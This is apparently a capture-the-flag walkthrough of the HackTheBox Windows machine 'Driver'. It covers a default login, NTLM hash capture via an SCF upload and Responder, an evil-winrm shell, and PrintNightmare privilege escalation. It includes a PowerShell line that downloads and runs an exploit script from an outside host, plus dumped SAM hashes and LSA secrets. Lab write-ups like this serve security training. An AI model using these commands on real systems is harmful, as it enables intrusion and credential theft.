Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.1kReading time ≈4 mins.
introduce
OS: Windows Difficulty: Easy Points: 20 Release: 02 Oct 2021 IP: 10.10.11.106
Enumeration
Nmap
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/driver] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.106 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
web
we are greeted with a pop up for login and admin/admin got me it.
so over here it seems like we can upload a malicious firmware and get rev shell
so after looking for exploits I could not get any but the thing was, it was probably saving the files in the smb share of windows.
So here we are having remote file upload and we can then perform SMB Exploit via NTLM Capture
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON]
by running winpeas, there is a system service running spoolsv which is print spooler service
exploit as we need local privilege escalation
CVE-2021-1675 - PrintNightmare LPE - PowerShell
Playing with PrintNightmare - 0xdf
Following the steps gives error that running scripts is disabled.
For this, getting a meterpreter shell too won’t work, you can import the module but you can’t then run Invoke-Nightmare. The shell will die.
workaround
spin a local web server and download it then and it will then import it automatically
1 2 3 4 5 6
*Evil-WinRM* PS C:\Users\tony\Desktop> IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.18/CVE-2021-1675.ps1') *Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-Nightmare -NewUser "luci" -NewPassword "luci11" [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user luci as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
Password: luci11 [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0xe5b3cda034afd685bc69ccd3c4e9387c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085::: luci:1004:aad3b435b51404eeaad3b435b51404ee:b7e822b81dec47522161ecad82d1aaef::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] DefaultPassword DRIVER\tony:liltony [*] DPAPI_SYSTEM dpapi_machinekey:0x68d8efd1bd3fa3ab206268f0bbc6e2a4a5e4b43e dpapi_userkey:0x68060403e8f0276a683ad704b45dc7b850d9722f [*] Cleaning up... [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry
Summary of knowledge
SMB Penetration Testing Port 445
SMB - SCF File Attacks - NetNTLMv2 hash grab by using responder
ntlmv2 hash cracking using hashcat
evil-winrm shell usage
CVE-2021-1675 - PrintNightmare LPE - PowerShell
using secretsdump.py dumping administrator’s ntlm hash
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…